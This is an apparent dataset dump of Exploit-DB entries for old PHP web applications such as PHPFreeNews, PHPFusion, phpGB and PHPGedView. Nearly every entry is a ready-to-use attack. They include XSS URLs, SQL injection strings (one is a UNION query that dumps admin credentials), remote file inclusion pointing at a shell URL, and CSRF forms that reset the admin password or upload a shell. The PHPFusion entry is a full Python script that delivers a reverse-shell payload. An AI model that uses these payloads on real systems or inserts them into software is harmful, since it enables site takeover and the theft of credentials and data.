deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26160
Description: PHPFreeNews 1.40 - 'NewsCategoryForm.php?NewsMode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-17
Author: h4cky

Exploit:
source: https://www.securityfocus.com/bid/14590/info

PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpfn/NewsCategoryForm.php?NewsMode="><script>alert(XSS);</script>&CatID=0
Exploit-DB #26161
Description: PHPFreeNews 1.40 - 'searchresults.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-17
Author: h4cky

Exploit:
source: https://www.securityfocus.com/bid/14590/info
 
PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpfn/SearchResults.php?Match='><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert(XSS);</script>
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode="><script>alert(XSS);</script>&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
Exploit-DB #26159
Description: PHPFreeNews 1.40 - 'searchresults.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-17
Author: h4cky

Exploit:
source: https://www.securityfocus.com/bid/14589/info

PHPFreeNews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='
http://www.example.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27
Exploit-DB #26061
Description: PHPFreeNews 1.x - Admin Login SQL Injection
Type: webapps
Platform: php
Date: 2005-08-01
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14442/info

PHPFreeNews is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

An example has been provided:

login: Admin
password: ') or isnull(1/0) or ('a'='a
Exploit-DB #26059
Description: PHPFreeNews 1.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-01
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14439/info

PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[target]/[path]/index.php?front_indextitle=</title><script>alert(document.cookie)</script>
http://[target]/[path]/index.php?front_searchsubmit="><script>alert(document.cookie)</script>
http://[target]/[path]/index.php?front_latestnews="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?newsid="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?front_rating="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?salt="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?front_letmerateit="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?front_ratebest="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?front_ratesubmit="><script>alert(document.cookie)</script>
http://[target]/[path]/news.php?front_searchsubmit="><script>alert(document.cookie)</script>
http://[target]/[path]/search.php?front_searchresult=</title><script>alert(document.cookie)</script>
http://[target]/[path]/search.php?front_searchsubmit="><script>alert(document.cookie)</script>
http://[target]/[path]/catalog.php?front_searchsubmit="><script>alert(document.cookie)</script>
http://[target]/[path]/catalog.php?front_latestnews="><script>alert(document.cookie)</script>
http://[target]/[path]/catalog.php?catalogid="><script>alert(document.cookie)</script>
Exploit-DB #4449
Description: phpFullAnnu (PFA) 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-09-23
Author: IHTeam

Exploit:
#########################################################################################
#
#        Inclusion Hunter Team
#        http://www.ihteam.net
#
#
#         [phpFullAnnu (PFA) 6.0]
#
#
# Class:     SQL Injection  # Found:     22/09/2007 # Remote:    Yes # Site:      http://pfa.netsliver.com/
# Download: http://pfa.netsliver.com/download/download.php?Fichier=pfa-v6.tgz
##########################################################################################



        Vulnerable code:
        index.php
============================================================================================================

$sqltitle = $bdd->readresult($bdd->request('SELECT h_title FROM
'.$tbprefix.'heading WHERE h_mod = \''.$_GET['mod'].'\''));
[...]
//in /include/meta.inc.php
<title><?php echo $title_site, ' - ', $sqltitle;...
//So watch Title bar to see the injection
============================================================================================================



        Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!):
===================================================================================================================

http://www.site.com/[path]/?lang=fr&mod=login' UNION ALL SELECT concat(a_login ,0x3a,a_password) FROM pfa_admin/*
===================================================================================================================



        Thanks To:
=================================
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-09-23]
Exploit-DB #2313
Description: phpFullAnnu 5.1 - 'repmod' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-06
Author: SHiKaA

Exploit:
#==============================================================================================
#phpFullAnnu <= v5.1 (repmod) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://pfa.netsliver.com/download/phpfullannu-v5.1.zip       
#                                                                       
#Version : v5.1                                             
#                                                         
#================================================================================================
#Bug in : modules/home.module.php
#
#Vlu Code :
#--------------------------------
#      include($repmod.'linksdirect.module.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/modules/home.module.php?repmod=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06]
Exploit-DB #49911
Description: PHPFusion 9.03.50 - Remote Code Execution
Type: webapps
Platform: php
Date: 2021-05-28
Author: g0ldm45k

Exploit:
# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution
# Date: 20/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606
# Version: 9.03.50
# Tested on: Docker + Debian GNU/Linux 8 (jessie)
# CVE : CVE-2020-24949
# Found by: ThienNV

import requests
import base64
import argparse


PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4 >&4 2>&4\");'  " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"


parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.')
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')
parser.add_argument("-v", "--no-verify", action="store_false")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

# verify payload
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:
    print("[!] Invalid payload, make sure it does not contain a + or a =!")
    exit()

# verify vulnerable host
if args.no_verify:
    page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
    if "infusion_db.php" not in page_data.text:
        print("[!] Can't seem to find infusion_db.php. QUITTING!")
        print("[!] If this validation is wrong just use the --no-verify flag.")
        exit()


# send request
requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))

print("[*] Requests send, did you get what you wanted?")
Exploit-DB #7540
Description: phpg 1.6 - Cross-Site Scripting / Full Path Disclosure / Denial of Service
Type: webapps
Platform: php
Date: 2008-12-21
Author: Anarchy Angel

Exploit:
PHPg 1.6 has a few XSSes, path disclosures, and a DoS vulnerability.
Home: http://black-dwarf.com
HS: http://www.hotscripts.com/Detailed/86225.html
Found by: Anarchy Angel - http://hha.zapto.org

Temp XSS: http://site.com/phpg/index.php?url="> [XSS]

Temp XSS: http://site/com/phpg/main-display-file.php?file= [XSS]

Path disclosure: http://site/com/phpg/main-display-file.php?file= [anarchything] .jpg<BR>
As long as the img/vid file does not exist you will get file path.

Static XSS/Path disclosure: Uploading a file with % 3Cscript% 3Ealert% 28% 22Hacked% 20by% 20Anarchy% 20Angel% 22% 29% 3B% 3C% 2Fscript% 3E.jpg as its name "with out the spaces" Will give a path disclosure on the main page and a XSS when you view the file.

DoS: Make a new folder with < script >alert('Hacked by Anarchy Angel') and you will no longer be able to use the app, you can also just rename a folder to do the same thing.

# milw0rm.com [2008-12-21]
Exploit-DB #15573
Description: PHPGallery 1.1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-11-19
Author: Or4nG.M4N

Exploit:
-------------------------------------------------------------------------
# Software      : phpgallery v 1.1.0                                                                                :                                               
# Author        : Or4nG.M4N                                               
# Date          : n/a    
# Dork          : Forbidden   
# Software Link: http://www.hotscripts.com/listing/phpgallery/                                                                                          :
-------------------------------------------------------------------------
  +---+[REMOTE CSRF Change Admin Password by OR4NG.M4N]+---+
<html>                                                                     
<head>                                                                     
<title>REMOTE CSRF Change Admin Password by OR4NG.M4N</head>               
<body>                                                                     
<form action="http://domain/[pwd]/admin/do_change_info.php" method="post"> 
<br>                                                                       
<input name="username" id="username" type="text" value="Or4nG" >           
<br>                                                                       
<input name="password" id="password" type="password" value="Ro0t" >        
<br>                                                                     
<input name="submit" onclick="MM_validateForm('username','','R','password','','R');return document.MM_returnValue" value="Submit" type="submit">

how to use: copy This code and seve in file csrf.html > and open Enjoy


          +---+[REMOTE CSRF upload ShElL by OR4NG.M4N]+---+   
<html>                                                                     
<head>                                                                     
<title>REMOTE CSRF upload ShElL by OR4NG.M4N</head>               
<body>		  
 <form enctype="multipart/form-data" action="http://domain/[pwd]/admin/uploader.php" method="POST">
Choose a file to upload to the gallery:<br>                                
<input name="uploadedfile" type="file" />                                  
<p align="left">Picture Caption:<br>                                       
<input name="caption" type="text" id="caption" size="45">                  
<p align="left">                                                           
<input name="Submit" type="submit" id="Submit" onClick="MM_showHideLayers('loading','','show')" value="Upload File" />

how to use: copy This code and seve in file csrf.html > and open Enjoy

--------------------------------------------------------
# Email - priv8te@hotmail.com
# GreeTz 2 - i-Hmx - Demetre - SadhacKer - The injector ]
# P0c TeaM - SarBoT511 - YoU - RGH - MY ]
# Home - www.v4-team.com - p0c.cc - inj3ct0r.com ]
---------------------------------------------------------
Exploit-DB #3699
Description: PHPGalleryScript 1.0 - 'init.gallery.php?include_class' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-10
Author: anonymous

Exploit:
vendor url: http://tomex.org/

http://[victim]/php/init.gallery.php?include_class=[SHELL DIRECTORY]/something

# milw0rm.com [2007-04-10]
Exploit-DB #21780
Description: phpGB 1.1 - HTML Injection
Type: webapps
Platform: php
Date: 2002-09-09
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/5676/info

phpGB is subject to HTML injection attacks.

phpGB fails to check for the presence of HTML tags when generating guestbook entries. It is reported that an attacker may inject HTML and script code into guestbook entries, which will be executed in the web client of the administrative guestbook user when the admin attempts to delete the entry. 

Enter the following guestbookentry:

"delete me <script>alert(document.cookie)</script>"
Exploit-DB #21783
Description: PHPGB 1.1/1.2 - PHP Code Injection
Type: webapps
Platform: php
Date: 2002-09-09
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/5679/info

phpGB is subject to a PHP code injection vulnerability.

After bypassing authentication it is possible to inject code into the guestbook configuration file (config.php) by supplying malicious parameters for the savesettings.php script. The configuration file is referenced in most of the other guestbook scripts, so each time one of the scripts is accessed the attacker-supplied PHP code will be executed.

telnet example.com 80\n
POST /phpGB/admin/savesettings.php HTTP/1.0\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 123\n
db[CREDENTIAL_REDACTED]=1
&messenger=1&smileys=1&title=1&db_session_handler=0
&all_in_one=0&test=\n
\n
Exploit-DB #21778
Description: phpGB 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2002-09-09
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/5673/info

phpGB is vulnerable to a SQL injection vulnerability.

The cause of the issue is that the bulletin board relies on the PHP magic_quotes_gpc directive to sanitize variables that are used in SQL queries.

If magic_quotes_gpc is not enabled, then it will be possible for attackers to mount SQL injection attacks through the gestbook. SQL injection may allow attackers to corrupt the database. It is also possible to exploit this issue to gain administrative guestbook privileges.

Use an existing administrator name (default is admin) and use the
following password:
"' OR 'a'='a"
Exploit-DB #24834
Description: PHPGedView 2.5/2.6 - 'calendar.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11907/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/calendar.php?action=today&day=1&month=jan&year="><iframe>
http://www.example.com/phpgedview/calendar.php?action=today&day=1&month=<iframe>
http://www.example.com/phpgedview/calendar.php?action=today&day=<iframe>
Exploit-DB #24822
Description: PHPGedView 2.5/2.6 - 'Gdbi_interface.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11894/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/gdbi_interface.php?action=delete&pid=<iframe>
Exploit-DB #24821
Description: PHPGedView 2.5/2.6 - 'Gedrecord.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11891/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/gedrecord.php?pid=<iframe>
Exploit-DB #24820
Description: PHPGedView 2.5/2.6 - 'Imageview.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11890/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/imageview.php?filename=<iframe>
Exploit-DB #24814
Description: PHPGedView 2.5/2.6 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11880/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/index.php?rootid="><iframe>
Exploit-DB #24816
Description: PHPGedView 2.5/2.6 - 'Individual.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11882/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/individual.php?pid="><iframe>
Exploit-DB #24831
Description: PHPGedView 2.5/2.6 - 'login.php' Newlanguage Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11905/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.
 
This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>